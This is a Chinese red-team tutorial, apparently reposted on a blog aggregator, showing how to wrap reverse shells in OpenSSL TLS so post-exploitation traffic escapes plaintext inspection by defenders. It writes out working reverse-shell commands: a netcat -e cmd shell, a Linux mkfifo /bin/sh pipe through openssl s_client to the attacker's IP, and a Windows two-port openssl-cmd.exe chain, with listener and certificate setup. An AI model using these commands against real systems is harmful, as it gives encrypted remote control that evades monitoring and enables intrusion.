红队隧道加密之OpenSSL加密反弹Shell(一)

news2025/7/19 11:29:18

前言

在红队的后渗透阶段中, 往往需要反弹shell进行下一步的内网横向渗透, 而这种反弹shell大多数都有一个缺点, 那就是其传输的流量都是明文传输, 相当容易被内网的防火软件所捕捉, 要是蓝队对此流量进行朔源分析, 很容易就能复现攻击的整个流程

例如此处用netcat反弹Shell进行测试, 首先在攻击机(kali,192.168.47.134)监听本机6666端口

nc -lvp 6666

image-20221105152309389


在目标主机(win7,192.168.47.149)连接攻击机并反弹一个CmdShell

nc 192.168.47.134 6666 -e cmd 

image-20221105152453317


随后可在攻击机接收反弹的CmdShell, 输入ipconfig进行测试

1


在攻击机使用wireshark抓取攻击机与目标主机之间的传输数据包, 并追踪其TCP流, 可发现是明文数据

1

1


OpenSSL的介绍

OpenSSL 是一个开源的软件库包,应用程序可以使用这个包来进行安全通信,避免窃听,同时确认另一端连接者的身份。这个包广泛被应用在互联网的网页服务器上

其主要库是以C语言所写成,实现了基本的加密功能,实现了SSL与TLS协议。OpenSSL 可以运行在OpenVMS、 Microsoft Windows以及绝大多数类Unix操作系统上(包括Solaris,Linux,Mac OS X与各种版本的开放源代码BSD操作系统)。

它也提供了一个移植版本,可以在IBM i(OS/400)上运作


OpenSSL下载安装

Windows安装

Windows版本下载地址: https://slproweb.com/products/Win32OpenSSL.html

若你的windows系统是64位, 则按下图所示选择即可

image-20221105171202996


Linux安装

1.下载并安装OpenSSL

# wget https://www.openssl.org/source/openssl-1.1.1s.tar.gz --no-check-certificate
# tar -xzvf openssl-1.1.1s.tar.gz
# cd openssl-1.1.1s
# mkdir /usr/local/openssl
# make
# make install

2.创建软链接

# ln -s /usr/local/openssl/bin/openssl /usr/bin/openssl

3.查看openssl版本验证是否安装成功

#openssl version

OpenSSL使用流程

1.生成自签名证书

在攻击机输入如下命令生成自签名证书, 此处采用的是RSA加密方式; 随后会要求输入证书信息, 直接一路回车即可

openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes

命令语法: openssl req -x509 -newkey rsa:4096 -keyout [key文件] -out [cert文件] -days 365 -nodes

image-20221105154017781


2.反弹加密Shell

Linux客户端

在攻击机创建服务端, 监听本机的4444端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444

在linux客户端输入如下命令进行反弹shell

mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 192.168.47.134:4444 > /tmp/s; rm /tmp/s

命令语法: mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect [服务端IP]:[监听端口] > /tmp/s; rm /tmp/s

image-20221105165717054


随后攻击机接收到反弹回来的shell

image-20221105170041611


Windows客户端

与Linux客户端不一样的是, Windows客户端需要在攻击机用两个shell分别创建两个服务端来对接, 这两个服务端可以是相同IP不同端口

openssl s_server -quiet -key key.pem -cert cert.pem -port 4444
openssl s_server -quiet -key key.pem -cert cert.pem -port 6666

命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

image-20221105163711458


随后返回客户端输入如下命令, 意思是从192.168.47.134:4444获取命令发送给cmd执行, 然后将执行结果返回给192.168.47.134:6666

openssl s_client -quiet -connect 192.168.47.134:4444 | cmd.exe | openssl s_client -quiet -connect 192.168.47.134:6666

命令语法: openssl s_client -quiet -connect [ip]:[port1] | cmd.exe | openssl s_client -quiet -connect [ip]:[port2]

image-20221105164019604


随后在攻击机接收到反弹的shell

image-20221105164229692


抓包分析

在攻击机使用wireshark抓包分析, 可发现攻击机和目标主机使用TLS1.2协议进行加密通讯

image-20221105170359664


参考文章

  • https://wolke.cn/post/4904f19c.html

  • https://blog.csdn.net/nvsirgn/article/details/121084789

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/38047.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

十、CANdelaStudio入门-States

本专栏将由浅入深的展开诊断实际开发与测试的数据库编辑,包含大量实际开发过程中的步骤、使用技巧与少量对Autosar标准的解读。希望能对大家有所帮助,与大家共同成长,早日成为一名车载诊断、通信全栈工程师。 本文介绍CANdelaStudio的States概念,欢迎各位朋友订阅、评论,可…

AcWing245. 你能回答这些问题吗 线段树详解

3.2线段树 例题分析 245. 你能回答这些问题吗 - AcWing题库 **题意&#xff1a;**给一条序列&#xff0c;如何动态维护区间的最大子段和&#xff0c;包括询问某区间的最大字段和和修改某个数。 分析&#xff1a;线段树struct保留什么信息。能否通过左右儿子的这些信息求出父…

HA RabbitMQ on K8s helm部署实战

RabbitMQ on K8s helm部署实战获取helm chart修改必要参数外部如何访问&#xff1f;安装rabbitmq登录管理界面导入mq metadata优化helm chart 生成的statefuleset yamlhelm chart 生成的pod yaml调整mq log等级promethrus 监控mq配置prometheus采集metrics查看prometheus rabbi…

零基础借助arpl自动编译工具在一小时之内将旧笔记本、嵌入式设备等改造成黑群辉

文章目录1. 前言2. 编译2.1. 到GitHub把编译引导需要用的img文件下载到电脑上2.2. 将下载下来的IMG文件解压为img文件&#xff0c;用rufus或者其他写盘工具写入到U盘中&#xff0c;2.3. 进行引导启动2.4. 获得编译系统的IP地址2.5. 在同一局域网下&#xff0c;打开这个IP地址2.…

Java学习笔记 --- IO流

一、文件 什么是文件 文件是保存数据的地方 文件流 文件在程序中是以流的形式来操作的 流&#xff1a;数据在数据源&#xff08;文件&#xff09;和程序&#xff08;内存&#xff09;之间经历的路径 输入流&#xff1a;数据从数据源&#xff08;文件&#xff09;到程序&a…

Pr:文本面板之转录文本

Pr菜单&#xff1a;窗口/文本Text在文本面板的转录文本 Transcript选项卡中&#xff0c;单击“转录序列” Transcribe sequence按钮&#xff0c;然后设置好选项并进行语音到文本的转录。创建转录文本对话框Create transcript语言Language选择视频中语音所使用的语言。也可选择不…

2.7 基本放大电路的派生电路

在实际应用中&#xff0c;为了进一步改善放大电路的性能&#xff0c;可用多只晶体管构成复合管来取代基本电路中的一只晶体管&#xff1b;也可根据需要将两种基本接法组合起来&#xff0c;以得到多方面性能俱佳的放大电路。 一、复合管放大电路 1、复合管 &#xff08;1&…

【路径规划】(1) Dijkstra 算法求解最短路,附python完整代码

好久不见&#xff0c;我又回来了&#xff0c;这段时间把路径规划的一系列算法整理一下&#xff0c;感兴趣的点个关注。今天介绍一下机器人路径规划算法中最基础的 Dijkstra 算法&#xff0c;文末有 python 完整代码&#xff0c;那我们开始吧。 1. 算法介绍 1959 年&#xff0c…

Bugku MISC 啊哒 贝斯手

啊哒 下载文件&#xff0c;解压后发现是一张图片&#xff0c;用010editor打开 可以看到里面有个flag.txt 。使用kali中的binwalk进行文件分离 查看文件 &#xff1a; binwalk ada.jpg 分离文件 &#xff1a; binwalk -e ada.jpg --run-asroot 打开分离后的文件夹 可以看到有一…

T288401 B-莲子的机械动力学

专攻超统一物理学的莲子&#xff0c;对机械结构的运动颇有了解。如下图所示&#xff0c;是一个三进制加法计算器的&#xff08;超简化&#xff09;示意图。 一个四位的三进制整数&#xff0c;从低到高位&#xff0c;标为 x_1,x_2,x_3,x_4x1​,x2​,x3​,x4​。换言之&#xff0…

第八章《Java高级语法》第12节:Lambda表达式

Lambda 表达式是 JDK8 的一个新特性,它可以定义大部分的匿名内部类,从而让程序员能写出更优雅的Java代码,尤其在集合的各种操作中可以极大地优化代码结构。 8.12.1 认识Lambda表达式 一个接口的实现类可以被定义为匿名类。经过大量实践,人们发现定义一个接口的匿名实现类…

ADAU1860调试心得(8)FASTDSP-0 通道输入

这个程序&#xff0c;我们正式要用到 DSP 了&#xff0c;ADC 进来的数据&#xff0c;经过 FASTDSP 的算法进行处理&#xff0c;再 送给 DAC 推到耳机&#xff0c;通道我们输入 0 到输出为例&#xff0c;还是先做直通&#xff0c;DSP 路过一下&#xff0c;并不做处理。 首先是寄…

WebStorm创建第一个Express项目

WebStorm创建Express项目步骤如下&#xff1a; 1、在WebStorm创建项目 选择项目存储位置&#xff0c;然后点击create&#xff0c;再选择创建的窗口&#xff0c;一般都是创建在this window上 2、进入窗口会终端会开始下载Express项目所需要的文件&#xff0c;我们等到出现如下图…

C++中的多态(下)

&#x1f9f8;&#x1f9f8;&#x1f9f8;各位大佬大家好&#xff0c;我是猪皮兄弟&#x1f9f8;&#x1f9f8;&#x1f9f8; 文章目录一、C11当中的final和overridefinaloverride二、重载&重定义(隐藏)&重写(覆盖)三、抽象类&#xff08;接口类&#xff09;四、接口继…

Hive数据定义语言DDL

文章目录1 Apache Hive客户端使用2 Hive编译工具3 Hive SQL DDL建表基础语法3.1 Hive数据类型详解3.2 Hive读写文件机制3.3 Hive数据存储路径3.4 案例--王者荣耀数据Hive建表映射4 Hive SQL DDL建表高阶语法4.1 Hive 内部表、外部表4.2 Hive Partitioned Tables 分区表4.3.1 数…

第九章 堆排序与TOPK问题

第九章&#xff1a;堆排序与TOPK问题一、堆排序&#xff1a;1、思路分析&#xff1a;&#xff08;1&#xff09;建堆&#xff08;2&#xff09;排序2、堆排序模板二、TOPK问题&#xff1a;1、什么是TOPK问题&#xff1f;2、解决方法一、堆排序&#xff1a; 假设我们实现一个小…

【数据结构】二叉树

目录 一、树 1.1树的一些重要概念 1.2树的应用 二、二叉树 2.1概念 2.2两种特殊的二叉树 二叉树的第一个特点 二叉树的第二个特点 二叉树的第三个特点&#xff1a; 2.3二叉树的存储 2.4二叉树的遍历-深度优先搜索&#xff08;二叉树的高度&#xff09;dfs 前序遍历…

Java学习:动态代理

java一、代理模式二、静态代理三、动态代理一、代理模式 代理模式是一种设计模式,能够使得再不修改源目标的情况下,额外扩展源目标的功能。即通过访问源目标的代理类,再由代理类去访问源目标。这样一来,要扩展功能,就无需修改源目标的代码了。只要在代理上增加就可以了 二、静态…

CSAPP学习导航2015

CSAPP学习导航2015为什么要学这个课程前后置前置后置课程资料课程视频课程组成实验&#xff0c;lab*7学完后学习打卡总结为什么要学这个 深入浅出的为我们搭建计算机学习体系&#xff0c;为以后更深入的学习打好基础。 &#xff08;这学学&#xff0c;那学学&#xff0c;所学太…

iwebsec靶场 SQL注入漏洞通关笔记4- sleep注入(时间型盲注)

系列文章目录 iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记2- 字符型注入&#xff08;宽字节注入&#xff09;_mooyuan的博客-CSDN博客 iwebsec靶场 SQL注入漏洞通关笔记3- bool注入&#xff08;布尔型盲注&#…